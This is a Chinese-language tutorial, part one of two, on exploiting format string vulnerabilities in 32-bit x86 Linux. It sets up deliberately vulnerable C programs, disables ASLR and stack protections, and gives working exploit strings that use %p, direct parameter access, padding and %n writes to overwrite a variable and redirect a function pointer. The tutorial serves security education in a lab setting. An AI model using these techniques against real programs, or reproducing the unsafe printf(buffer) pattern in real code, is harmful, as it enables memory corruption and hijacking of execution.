Linux 中基于 x86-32 位的格式化字符串漏洞 - 第一部分





5.00/5 (3投票s)
一个基本的格式化字符串漏洞利用展示了 printf 函数编程中微小的错误如何成为寻求入侵系统的黑客的致命武器。
引言
尽管由于引入了许多安全措施,老式 *x86* 时代的黑客技术几乎已经过时,但由于程序员的错误,它们仍然存在,尤其是在谈到 C 编程语言时。尽管这些函数最初看起来无害,但如果使用不当,它们可能会成为一个巨大的安全漏洞。在本文中,我们将重点关注一个在 *x86* CPU 上完成的 *32 位* 漏洞利用,该漏洞利用是由于 printf 函数中的程序员错误而产生的简单漏洞。
阅读本文需要您具备以下基础知识:
本文分为两部分
- 第一部分:更改程序内的执行流
- 第二部分:使用析构函数在环境变量中执行有效负载
基础入门:printf(格式化输出)
C 语言为我们提供了 stdio.h 头文件中的以下函数,以便使用标准输出打印到屏幕或从标准输入扫描用户输入
printf(格式字符串参数, 参数...)
scanf(格式字符串参数, 参数...)
此外,还有 printf 和 scanf 函数用于读写文件,如下所示
fprintf(文件流参数*, 格式字符串参数, 参数...)
fscanf(文件流参数*, 格式字符串参数, 参数...)
尽管 printf 和 scanf 函数还有更多变体。出于本文的目的,我们将只关注 printf 函数。
我们将在本次漏洞利用中使用的 printf 函数被称为可变参数函数。这些函数已知没有固定数量的参数可以发送给它们,或者我们可以发送无限数量的参数给它们,这显然取决于我们的计算限制。
有关 printf 和 scanf 函数的更多信息,请参阅以下链接
- printf (https://wikibooks.cn/wiki/C_Programming/stdio.h/printf#Format_placeholders)
- scanf (https://wikibooks.cn/wiki/C_Programming/stdio.h/scanf)
基础入门:基本工具
让我们开始设置我们的漏洞利用环境。在本文中,我们将使用以下工具
- GDB (GNU 调试器)
- GCC (GNU 编译器集合)
- Ubuntu 8.04.4 32 位 (您可以在此处找到它)
- 虚拟化技术,例如Virtual box
如果您尚未安装,请将 Ubuntu 安装到虚拟机中(首选:Virtualbox,尤其是对于虚拟化技术的新用户)。使用如此旧的 Ubuntu 版本的原因是大多数格式化字符串漏洞利用都已成为过去。现代操作系统有许多保护机制,例如ASLR(地址空间布局随机化)和DEP(数据执行保护),以防止格式化字符串漏洞利用。尽管仍然可能,但在现代 *64 位* 系统上运行格式化字符串漏洞利用非常繁琐,这就是为什么对于此漏洞利用,较旧的 *32 位* 系统可能更适合初学者。
小节 - Ubuntu 8.04.4 中的问题 - 安装 libc6-dev
在 Virtual box 中安装 Ubuntu 后,您需要安装 libc6-dev,这是编译我们的可利用程序所必需的,并且包含我们的 C 头文件。
由于此版本的 Ubuntu 已过时,您必须通过将 CD/ISO 设置为软件包源,从可引导 CD/ISO 映像安装 libc6-dev。这是因为 Aptitude (apt-get) 无法从在线源找到或连接到大多数(如果不是全部)软件包存储库。更新在线源的软件包列表也证明没有用。当然,如果您是高级用户,您可以添加已知与此版本 Ubuntu 兼容的软件包存储库。
步骤 1:Virtual Box CD 挂载
为了在 Ubuntu 中从我们的原始 CD/ISO 安装 `libc6-dev`,您必须在 Virtual box 的 Ubuntu 设置中将您下载的 Ubuntu 8 ISO 作为光学设备添加到您的存储设备中。
首先确保 Ubuntu 已关闭且未在 Virtual box 中运行。现在我们必须通过高亮显示您的安装并点击我光标下显示的**齿轮按钮**(抱歉使用意大利语),进入您新安装的 Ubuntu 8 的**设置窗口**
在**设置窗口**中,转到当前窗口最左侧突出显示的**存储选项**
现在您可以通过点击“存储设置”中“控制器 IDE”选项中的小“添加 CD 按钮”来挂载 CD/ISO 文件。
“控制器 IDE”选项在下方以橙色选中
步骤 2:将挂载的 CD 添加到 Ubuntu 的软件源
成功将我们的 ISO 添加为 IDE/CD 设备后,我们现在需要将我们的 CD 添加到 Ubuntu 的**软件源**中,以便我们可以在系统上安装 libc6-dev。
为此,请转到顶部横幅上的**系统菜单**,进入**管理**菜单,然后选择**软件源**,如下所示
现在转到“第三方软件”选项卡,并勾选“CD-ROM”选项。
您现在可以关闭窗口。如果关闭时提示您重新加载或更新存储库,请单击“是”。如果没有,您可以通过终端使用以下命令手动更新存储库以反映 CD 上的内容:
sudo apt-get update
步骤 3:安装 libc6-dev
您现在可以使用以下命令安装 **libc6-dev**
sudo apt-get install libc6-dev
现在我们已经安装了 libc6-dev,我们可以成功地在我们的 Ubuntu 8 安装上编写 C 代码并包含所有我们需要的头文件。
pre.cjk { font-family: "Noto Sans Mono CJK SC", monospace; }p
{ margin-bottom: 0.1in; line-height: 115%; }a:link
基础入门:ASLR
作为我们漏洞利用的第一步:我们现在必须关闭内存随机化。内存随机化有助于程序保护自己免受格式化字符串攻击或类似的基于内存的攻击,例如缓冲区溢出攻击。要手动关闭它,请将文件中的值从 2 设置为 0(您可以在此处阅读更多关于 ASLR/内存随机化的信息)
/proc/sys/kernel/randomize_va_space
基础入门:格式说明符
printf 的第一个参数是一个名为 Format string 参数的字符串,它包含您想要输出的任何字符串或字符信息,并附加了称为**说明符**的特殊字符。说明符以**%**开头,当它们被评估时,将按顺序替换为提供给 printf 的后续参数。
printf(格式字符串参数, 参数...)
这是一个包含 `printf` 函数的简单程序,其中 `format string arg` 包含一个 `string` 的 `Format` 说明符 %s,它将把后续变量 `name` 作为 `string` 打印出来,替换掉 %s
//fmt_vuln.c:
#include <stdio.h>
#include <string.h>
int main()
{
char name[1024];
memcpy(name, "Jackson", 8);
printf("My name is %s", name);
return 0;
}
以上代码将输出以下内容
让我们尝试第二个例子来完全理解 printf 的工作原理
//fmt_vuln.c:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
char name[1024];
int age = 23;
memcpy(name, "Jackson", 8);
printf("My name is %s, and I am %d years old", name, age);
return 0;
}
这将输出以下内容
如您所见,格式字符串会扫描 %s 和 %d 格式说明符。然后,它们会按顺序替换为提供给 printf 的所有后续变量。
格式说明符有多种形式,不仅仅是 %s 和 %d。以下是一些常见的格式说明符列表
(维基百科:要更深入地了解格式说明符,请访问此处)
%s
: 写入字符串%d
: 写入有符号整数%u
: 写入无符号整数%x
: 以十六进制写入%n
: 到目前为止写入标准输出的字节数,写入到相应的参数而不是从参数中读取%c
: 写入一个字符%p
: 写入指针或变量的地址%ul
: 写入无符号长整型
作为程序员,在 printf 中提供 Format string 参数对于避免 Format string 漏洞至关重要。我们将在下一节中看到原因。
漏洞利用:读取内存
现在让我们使用 fmt_vuln.c 程序的修改版本,以便使用 printf 输出初始化参数中提供的任何内容。与之前的程序相比,此程序将包含一个“没有” Format string 参数的 printf,并进行了一些更改,例如使用 strcpy 代替 memcpy 函数
printf(arg, args...)
//fmt_vuln.c:
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
char name[1024];
strcpy(name, argv[1]);
strcat(name, "\n");
printf(name);
return 0;
}
上述程序输出 `argv[]` 的**第二个**数组元素,即 `argv[1]`。我们使用 `strcpy` 将 `argv[1]` 复制到字符串缓冲区变量 `name` 中。然后,使用 `printf` 将其输出到屏幕。
注意:`argv[]` 包含在初始化时发送给我们的程序的所有参数,也称为*参数向量*。
argv[0]
: 第一个参数是程序的文件名。argv[1,2...]
: 从第二个参数开始,即argv[1]
,是所有由我们或另一个程序发送给程序的自定义参数。
现在,让我们使用以下命令编译我们的程序
gcc -g -fno-stack-protector -z execstack fmt_vuln.c -o fmt_vuln.out
我们在编译过程中使用了一些标志,以帮助我们第一次利用二进制文件。尽管有许多技术可以在没有这些标志的情况下进行利用。但这次我们将使用它们,因为这是我们第一次进行格式化字符串漏洞利用。通常,白帽/黑帽黑客无法获得这些标志提供的信息,因为 Libre Office 等程序的最终副本在其编译过程中不会有此类标志,这很容易导致滥用和信息收集。
这是我们使用过的旗帜的简单拆解
-g
: 使用全局调试符号。允许我们查看可执行文件的调试信息。例如行号、C 代码等。-fno-stack-protector
: 移除可执行文件的栈保护。通常,如果在没有此选项的情况下 C 语言缓冲区溢出,将会引发段错误异常,并且程序将终止。-z execstack
: 告诉我们的编译器允许堆栈执行并关闭DEP (数据执行保护)。关闭 DEP 后,我们可以使用我们的漏洞利用执行我们写入堆栈的有效负载和任意代码。-o
: 告诉我们的编译器二进制文件的输出文件名,包括扩展名,在本例中我们使用扩展名“*.out*”。
现在让我们运行 fmt_vuln.out,并将参数 "Jackson" 发送到 `argv[1]`,然后查看我们的输出
正如我们在上图中看到的,我们用参数“Jackson”启动了应用程序。printf 函数仍然会输出我们提供的参数。这里唯一的区别是,这个参数将被视为 Format string 参数,仅仅因为它是在 printf 中发送的第一个参数。让我们看看如果在“Jackson”后面插入一个 %p 会发生什么
众所周知,`%p` 输出一个指针,或者一个变量的地址。通过向一个编写不良的 `printf` 函数提供 `%p` 格式说明符,我们能够打印出内存中的一个位置。
这个内存位置代表了 `printf` 本来会扫描变量的下一个参数。在这种情况下,我们作为用户能够通过欺骗 `printf` 扫描内存寻找参数来输出实际的内存位置。
让我们尝试使用更多 %p 格式说明符扫描更多内存位置,看看我们能发现什么
为了轻松创建一个包含多个 %p 格式说明符的参数字符串,我们正在使用 PERL 来缩短过程。$() 代表执行。您也可以使用 `` 来实现相同的功能(不同的 shell 系统可能使用不同的符号进行执行。在本教程中,我们使用 BASH)。$() 内部的命令会先执行,然后作为第一个参数发送给 fmt_vuln.out:
AAAA%p->%p->%p->%p->%p->%p->%p->%p->%p->%p->
PERL 已经自动为我们创建了一个字符串,正如您所看到的,这使得事情不那么繁琐。批量扫描内存可以让我们看到 printf 将从哪些地方扫描的各种内存分配。上面前一次执行中的**第五个**参数显示 printf 输出 0x41414141。这在 ASCII 中等同于 AAAA。
漏洞利用:直接参数访问
现在很清楚,我们可以使用 `%p` 格式说明符读取内存。虽然在执行语句括号 `($)` 中使用 PERL 扫描比手动创建 10 个 `%p` 格式说明符的数组要简化无数倍。但是有一种更好的方法可以直接访问特定参数,而无需每次都扫描所有参数。
直接参数访问 允许我们通过在 格式说明符 中使用 $
字符来直接选择一个参数,如下所示
%8$p
让我们用 PERL 创建一个简单的字符串,然后不使用“直接参数访问”来扫描,以找出 AAAA (0x41414141) 在哪里
./fmt_vuln.out $(perl -e 'print "AAAA" . "%p" x 10')
正如我们在上述结果中看到的,AAAA (0x41414141) 是**第七个**元素。让我们尝试通过使用*直接参数访问*来跳过前 6 个元素,仅选择并输出 0x41414141
./fmt_vuln.out $(perl -e 'print "AAAA%7\$p"')
在上述命令中,我们使用了转义字符 \$ 来转义执行,而不是通常的 $ 字符。请记住,由于 "$(perl
" 用于在 BASH 中执行 PERL 命令,$ 用于执行,并且已经有了意义,为了将我们的*直接参数访问*字符传递给 fmt_vuln.out 而不让 BASH 尝试执行后续字符,我们使用 \。
简单来说,通过在 BASH 中使用反斜杠转义 $,我们能够将 $ 用作打印字符,并避免执行,将其传递到 fmt_vuln.out 的 `argv[1]` 中。
正如我们所看到的,我们直接选择了 0x41414141,而无需麻烦地输出 0x41414141 之前的 6 个元素。这使得我们的生活变得更容易,尤其是在我们稍后写入内存时。
漏洞利用:参数填充
与*直接参数访问*同样重要的是*参数填充*。这允许我们将希望用 printf 输出的值填充到特定的字符宽度。这可以通过以下方式完成
%08p
如上所示,*参数填充*可以通过在我们的*格式说明符*之前使用一个整数来引入。这与需要 $ 符号的*直接参数访问*不同。您可以将*参数填充*与*直接参数访问*结合使用,如下所示
%7$12p
让我们继续执行一个参数,我们将使用*直接参数访问*和*参数填充*将其提供给我们的程序。这将输出**第七个**值 (0x41414141),并带有 12 个空格的填充
./fmt_vuln.out "AAAA%7\$12p"
上述命令的输出(结果如下)显示,第七个值已输出,并带有我光标突出显示的两个额外填充值。为什么没有 12 个空填充值?
通过 %p 输出到标准输出的值是一个包含 10 个字符的字符串,即 0x41414141。填充值包括由 %p 格式说明符打印的值。
填充值:(12 - 10) = 2
|--1--|--2--|------10-----|
" " + " " + "0x41414141"
作为一个字符数组
char p[12]
p[0] = ' '
p[1] = ' '
p[2] = '0'
p[3] = 'x'
p[4] = '4'
p[5] = '1'
p[6] = '4'
p[7] = '1'
p[8] = '4'
p[9] = '1'
p[10] = '4'
p[11] = '1'
漏洞利用:printf 将参数存储在哪里?
现在我们已经学会了如何使用 `printf` 读取变量,接下来让我们找出这些变量在实际内存中存储的位置。如下所示,函数存在于被称为“栈帧”的东西中。每个栈帧代表一个函数。它们使用 FILO(先进后出)方法相互压入,以便系统保持上下文(`printf` 将被压入 `main` 的顶部。只有当 `printf` 从栈中弹出后才能访问 `main`)。请记住,栈从较大的内存地址向较低的内存地址工作,而堆则完全相反。函数参数在返回地址之前被压入栈。
Function printf() @ 0xffffc6
|-------------------------------| ← Start of frame for printf(). Referenced to by $RSP
| //function prologue |
|-------------------------------|
| //code | ← Code
|-------------------------------|
| 1 const char* format string | ← Arguments sent to printf().
| 2 argument 2 |
| N arguments... |
|-------------------------------| ← End of frame reference to by the $RBP
| return address |
|-------------------------------|
让我们再举一个例子,fmt_vuln.c 中同时存在的 `printf` 和 `main`。栈帧结构如下:
<< Lower memory addresses
Function printf() @ 0xffffffc6
|-------------------------------| ← Start of frame for printf(). Referenced to by $RSP
| //function prologue |
|-------------------------------|
| //code | ← Code
|-------------------------------|
| 1 const char* format string | ← Arguments sent to printf.*
| 2 argument 2 |
| n arguments... |
|-------------------------------| ← End of frame reference to by the $RBP
| return address to the "next |
| instruction" in the main() |
| code section |
|-------------------------------|
Function main() @ 0xffffffc2
|-------------------------------| ← Start of frame for main(). Referenced to by $RSP
| //function prologue |
|-------------------------------|
| printf() @ 0xffffffc6 | ← Code
| next instruction | ← Return address from printf() returns here.
|-------------------------------|
| char* argv[] | ← Function arguments
| int argc |
|-------------------------------| ← End of frame reference to by the $RBP
| return address |
|-------------------------------|
Higher memory addresses >>
漏洞利用:写入内存
在前面的章节中,我们学习了如何从内存中读取,但是如果我们只能从内存中读取,我们如何执行有效负载呢?这就是格式说明符 %n 和 %hn 的用武之地。
%n
: 允许我们将在 `printf` 中已写入的字符数写入到提供的unsigned int
中,该unsigned int
为**4 字节**长。%hn
: 允许我们执行与%n
相同的功能,但以短写入格式。准确地说是**2 字节**。
所以我们可以看到 %n 和 %hn 格式参数允许我们通过 4 字节写入或 2 字节写入来写入内存,这非常方便,因为 32 位地址是 4 字节长的。
在本文中,我们将使用 %n 格式说明符进行实验,以了解写入的工作原理。让我们创建以下程序
//fmt_vuln_w.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char* argv[])
{
char buffer[1024];
int a = 90;
strcpy(buffer, argv[1]);
printf("int a before: %d\n", a); //Printf of the value of a before our write
printf("Address of a: %p\n", &a); //Printf used in the correct way to print out a's address.
printf(buffer); //Vulnerable Printf
printf("\nint a after: %d\n", a); //Printf of the value of a after our write
return 0;
}
在上述程序中,整数 `a` 被创建并赋值为 90。我们漏洞利用的目标是使用 %n 格式说明符将其覆盖为另一个值,以写入 `a` 的内存位置。我们首先使用 `strcpy` 将 `argv[1]` 复制到 `buffer` 中(以这种方式使用 `strcpy` 会导致缓冲区溢出漏洞)。为了使我们的第一个漏洞利用更容易,我们将打印出 `a` 的地址,这在实际漏洞利用程序中通常不是这种情况。fmt_vuln_w.out 会打印出包含我们从 `argv[1]` 复制过来的值的 `buffer`,现在它包含我们的漏洞利用字符串。让我们使用以下标志编译我们的程序
-fno-stack-protector
-z execstack
现在我们可以运行我们的程序,以找出 `int a` 的地址,我们可以向 fmt_vuln_w.out 提供一个随机值,因为它确实需要 `argv[1]` 中的一个参数,让我们使用 "ABCD"。提供一个随机参数将防止在 `strcpy` 开始从 `argv` 复制一个空参数到 `buffer` 时发生不必要的段错误。
./fmt_vuln_w.out ABCD
结果如下
小节:修改 int a 的值
在上面的前一次执行中,我们可以看到 fmt_vuln_w.out 已输出 `int a` 的地址,即
0xbffff080
目前,我们还没有提供一个参数作为我们易受攻击的 printf 格式字符串参数。正如标题所示,我们想要修改 int a 的值。以下内容将教会我们所有关于使用 printf 写入内存的知识。
现在我们可以将我们的地址添加到将在初始化时发送到 fmt_vuln_w.out 的参数中。然后它将被复制到 `buffer` 中,允许我们写入 `a` 的内存地址 (0xbffff080)。请记住在写入字符串时转换为大端序
./fmt_vuln_w.out $(perl -e 'print "\x80\xf0\xff\xbf" . "%p->"x10')
正如您在上面结果中看到的,我们输出的**第九个**地址是 \xb0\xf0\xff\xbf,它已转换为 0xbffff0b0。如前所述,这是由于在写入字符串参数时从大端序转换为小端序。
现在让我们写入 `a`。为此,我们将从内存中读取,然后使用*参数填充*和*直接参数访问*来选择正确的 `printf` 扫描位置,然后将正确的值写入 `a`。我们为 `a` 设置的目标值是 `34`。我们必须记住,*格式说明符* %n 允许我们写入到目前为止标准输出已写入的字节数。让我们继续将 `a` 的值从 90 更改为随机值
./fmt_vuln_w.out $(perl -e 'print "\x80\xf0\xff\xbf" . "%7\$n"')
奇怪,我们没能改变 `a` 的值!尽管 `printf` 尝试写入 `a`,但可能是由于堆栈更改或 `argv` 较小,`a` 的地址发生了变化。较小的 `argv[1]` 参数可能触发了一些堆栈更改。让我们再次调查一下。
./fmt_vuln_w.out $(perl -e 'print "\x80\xf0\xff\xbf" . "%7\$n" . "%p" x 10')
正如我们所看到的,`a` 在我们 `printf` 扫描中的地址已经向下移动了 2 个位置,到了**第九个**位置而不是**第七个**。让我们通过将*直接参数访问*说明符更改为 9\$ 而不是 7\$ 来重试我们的漏洞利用
./fmt_vuln_w.out $(perl -e 'print "\x80\xf0\xff\xbf" . "%9\$n"')
很好,我们刚刚写入了 `a`。现在我们需要将 `a` 的值调整为 34。`printf` 到目前为止已经使用 %n 输出 4 个字符,相当于 \x80\xf0\xff\xbf。这在我们的输出中显示为问号(未找到等效的 Unicode 字符)。
请记住,每个十六进制字节值,例如 \x80 值,都是 1 字节。一个 `char` 也是 1 字节,这意味着到目前为止我们已经输出了 4 字节。%n 不计入已写入的字节数,因为它专门用于写入地址,而不是输出到标准输出。
\x80 ← 1 byte
\xf0 ← 1 byte
\xff ← 1 byte
\xbf ← 1 byte
既然我们已经输出了 4 字节,我们需要将 `a` 的值从 4 修改为 34。让我们看看如果我们输出 34 字节或 34 个字符会发生什么。问题仍然是:我们如何将这 30 字节添加到我们现在拥有的 4 字节中?正如本文前面所讨论的,我们可以使用参数填充。这允许我们添加特定大小的填充,从而使 `printf` 写入比使用 %p 可能写入的更多字节(在我们的 32 位系统中,%p 只输出 10 个字符,不再多)。
我们还必须记住,填充将包括 %p 的初始写入值(%p 写入到我们标准输出的 10 个字符地址)。
./fmt_vuln_w.out $(perl -e 'print "\x80\xf0\xff\xbf" . "%30p" . "%9\$n"')
添加 30 字节填充后,`int a` 最终包含了我们的目标值:34。
我们现在已经成功完成了一个简单的格式化字符串漏洞利用,其中我们更改了程序变量的值。
漏洞利用:执行任意函数
修改执行流是格式化字符串漏洞利用的主要目的之一。那么,我们如何使用格式化字符串漏洞利用来改变程序的执行呢?为此,我们必须理解 printf 不提供执行。如果它提供了,那将是一个设计上的巨大安全漏洞。我们可以使用 printf 写入一个与函数指针相关的内存地址并修改其值。让我们继续创建以下程序。
//fmt_vuln_f.out:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void normal()
{
printf("Execution continues as normal...\n");
return;
}
void hacked()
{
printf("Hacked\n");
return 0;
}
int main(int argc, char* argv[])
{
void (*call)();
call = &normal;
char buffer[1024];
strcpy(buffer, argv[1]);
printf(buffer);
call();
return 0;
}
正如我们在上述程序中看到的,我们创建了一个函数指针(`call`),然后它会调用 `normal` 函数。使用 `printf`,我们可以更改函数指针 `call` 的目标地址,从而更改执行流并改为调用 `hacked` 函数。
对于此漏洞利用,我们将使用GNU 调试器,简称GDB。这将使漏洞利用程序和理解内存地址比在实际场景中容易得多。让我们在 GDB 中启动 fmt_vuln_f.out
gdb -q ./fmt_vuln_f.out
-q
标志代表静默。它会告诉 GDB 在启动时不显示作者、描述、版本信息以及其他与程序相关的信息。这有助于保持我们的环境整洁。
在本文中,我将使用 GDB 的 INTEL 语法,因为我个人觉得它更容易阅读。有两种主要语法:
- AT&T 语法
- Intel 语法
让我们开始我们的漏洞利用。首先,我们必须了解函数指针 `call` 将其值存储在哪里。这个值将代表 `normal` 函数的地址。首先,我们需要运行程序并在其中创建一个断点,以便我们可以在执行期间访问内存值。我们可以使用行号甚至函数名创建断点。让我们继续检查函数指针 `call` 被分配 `normal` 地址的行号
list main
如我们所见,`call` 在第 20 行被赋值。在第 20 行设置断点会在存储 `normal` 地址到 `call` 的指令执行之前创建一个断点。让我们在第 21 行创建断点,确保第 20 行已经执行。
break 21
现在让我们用一个垃圾值 (AAAA) 运行 fmt_vuln_f.out,因为第 21 行需要一个值才能从 `argv[1]` 复制到 `buffer` 中,否则会发生不必要的*段错误*异常
run AAAA
现在我们在执行期间命中断点,接下来让我们找出 `call` 存储 `normal` 地址的地址,我们可以通过使用 examine 命令(简称 'x')检查指针 `call` 并将其视为十六进制字来完成此操作
x/xw &call
虽然使用 & 或“取地址”对于查找 `call` 的存储值并非必要,但考虑到 `call` 是一个指针的性质。同时打印出 `call` 本身的位置及其存储值是最好的方法。
正如我们所看到的,`call` 的实际地址是 0xbffff0fc,而函数 `normal` 的地址,即 `call` 的存储值,是 0x08048434。让我们通过反汇编 `normal` 并可视化 `normal` 函数中的所有指令来检查这是否正确。`call` 应该指向 `normal` 的第一条指令。
disass normal
正如我们所看到的,`normal` 的第一条指令对应于存储在 `call` 中的地址。`normal` 的地址也可以使用程序 NM 找到,它帮助我们列出二进制文件中的所有符号。让我们使用 NM 找到 `hacked` 和 `normal` 的地址。让我们退出 GDB,并在我们的 BASH 终端中输入
nm ./fmt_vuln_f.out
我们现在可以在输出中找到 `normal` 和 `hacked` 的地址,以及其他函数。现在很清楚
- `call` 存储在 0xbffff0fc
- `normal` 存储在 0x08048434
- `hacked` 存储在 0x08048448
现在让我们将 `call` 的值从 `normal` 更改为 `hacked`。我们可以使用 `printf`、%n 格式说明符、参数填充和直接参数访问来实现这一点。对于此漏洞利用,我们将使用 GDB。
注意:之后不使用 GDB 来利用此程序将是一个很好的技能测试。请记住,在普通执行和 GDB 内执行之间,变量分配会有所不同,尽管这些差异很小。这是因为 GDB 运行时会向我们的环境添加额外的元素,从而将变量移动到不同的分配位置。
让我们开始吧
run $(perl -e 'printf "\xfc\xf0\xff\xbf" . "%p->" x 10')
正如我们所看到的,我们的目标地址 (`call`) 0xbfffff0fc 是**第 8 个**元素,让我们使用 %n 写入它,但每次写入 2 字节,因此将我们的写入分成两部分
run $(perl -e 'printf "\xfc\xf0\xff\xbf" . "%8\$n"')
正如我们所看到的,我们刚刚将 `call` 的值更改为 0x4。如前所述,这是当前写入的字节数。让我们继续使用*参数填充*来达到 0x8448。由于我们一次写入 2 字节,这将最初写入地址的一半。
让我们继续找出我们需要多少填充才能用 %n 写入 0x8448。在 GDB 中,我们可以使用 'print
'(缩写为 p
)命令来计算我们的地址 0x4 和 0x8448 之间的距离
p 0x8448 - 0x4
正如我们所看到的,我们需要 33860 个空格的填充。现在我们可以将我们的第二个地址添加到我们的程序参数中,该地址在堆栈中比我们前一个写入的地址 0xbffff0fe 高 2 字节,这将为填充偏移量添加 4 个字符,使其与字符串开头的两个地址合并为总共 8 个字符。这意味着我们需要从我们的填充值中删除 4 个额外的填充字符。
- 33860 - 4 = 33856
完美,所以我们写入 0xbffff0fc 的最终填充值为 33856。让我们执行它
run $(perl - e 'print "\xfc\xf0\xff\xbf\xfe\xf0\xff\xbf" . "%33856p" . "%8\$n"')
|-4 bytes more-|
执行上述命令后,我们得到了第一次写入的正确结果,如下所示。程序将以*段错误*结束,因为 0x00008448 既不是有效的地址,也不包含可执行指令。
太棒了!现在我们已经写入了目标地址的一半,让我们继续计算另一半。正如我们所知,另一半位于 0xbffff0fe,这个位置比在 0xbffff0fc 处的第一次写入高 2 字节,这是因为 x86 处理器使用小端序,正如前面讨论过的。
小端序简单来说就是元素从右到左存储,即最高有效字节最后存储,最低有效字节最先存储,因此在读取内存时可能看起来我们在向相反方向前进。这取决于体系结构,但 x86 处理器使用小端序格式(像ARM/RISC这样的处理器可以同时使用大端序和小端序,这被称为双端序)。
为了将地址的第二部分写入 0xbffff0fe,让我们使用带有 %p 格式参数的*直接参数访问*来找出地址在哪里
run $perl -e 'print "\xfc\xf0\xff\xbf\xfe\xf0\xff\xbf" . "%33856p" . "%8\$p" . "%p" . "%9\$p"'
等一下!这似乎与我们之前为了扫描内存而打印出 "%p->" 十次(因此从 `printf` 扫描了 10 个内存地址)的做法大相径庭。
为什么会改变?这次没有进行扫描的原因是,下一个参数很可能是我们的目标地址,在这种情况下是**第九个**参数,我们无需再次创建扫描字符串,可以直接尝试在接下来的几个参数中找到我们的目标值。这可能并非总是如此,我们可能需要尝试查看到**第 10 个**或**第 11 个**位置。让我们首先通过读取**第九个**参数来确认我们的猜测,看看它是否包含我们的第二个地址。
run $perl -e 'print "\xfc\xf0\xff\xbf\xfe\xf0\xff\xbf" . "%33856p" . "%8\$p" . "%p" . "%9\$p"'
如上所示,我们之前命令的输出显示了我们使用 %p 格式说明符读取的 4 个内存位置。确实,第九个参数是 0xbffff0fe。在上述命令中将之前使用的 %n 说明符切换到 %p 的原因是,在我们的调查过程中,段错误异常不会很有帮助,因为它会中止执行,从而中止我们的调查。
太棒了!让我们继续构建漏洞利用的最后部分!让我们继续计算所需的剩余填充,以便我们写入目标地址的后半部分。为此,我们需要将上述命令中的**第二个**和**第四个**说明符更改为 %n,这将允许我们再次写入目标。这次,我们还将使用当前所有填充的总和写入**第二个**地址。结果将帮助我们计算出正确的第二个写入值。
以下结果显示,后半部分已写入值 0x8452
让我们继续调整它以适应正确的值。正如我们所看到的,0x8452 大于 0x0804。由于我们不能减去值,我们必须创建足够的填充,使其围绕最大十六进制值 0xffff 循环,然后重置回 0x0000。
达到 0x0000 或任何低于我们目标 0x0804 的值后,我们可以添加额外的填充以进行计数。让我们计算达到 0x0000 所需的填充。
正如我们在上面的计算中看到的,我们有 -33874 个填充空间需要填充才能达到 0x0000。尽管不正确,但这将使我们循环超过 0xffff 并达到一个更理想的位置来写入我们第二次写入的正确值。让我们继续使用该填充值。
正如我们下面看到的,我们的第二次写入达到了 0x089a,它低于我们之前的写入 0x8452,这意味着我们已经循环过了 0xffff。
尽管 0x089a 大于 0x0804,但我们的第三个 %p 参数的填充值可以调整以写入正确数量的字节,因为它不会影响我们地址的第一部分。让我们继续计算 0x89a 和 0x804 之间的差值。总和将是我们从第三个 %p 参数中需要移除的填充空间量。
太棒了!这意味着我们只需将填充减少 150 个空格,结果是 33724
瞧!我们刚刚将 `call` 函数指针的值更改为调用 `hacked` 而不是 `normal`。正如我们从“Hacked”输出中看到的那样。
结论
创建格式化字符串漏洞利用只需要一点计算和专业知识。我们现在已经通过将执行流从 `normal` 函数重定向到 `hacked` 函数,成功地在我们的应用程序中调用了一个任意函数。
在第二部分中,我们将更仔细地研究如何使用相同的漏洞利用技术从环境变量中执行有效负载。
历史
- 2020年2月28日:初始版本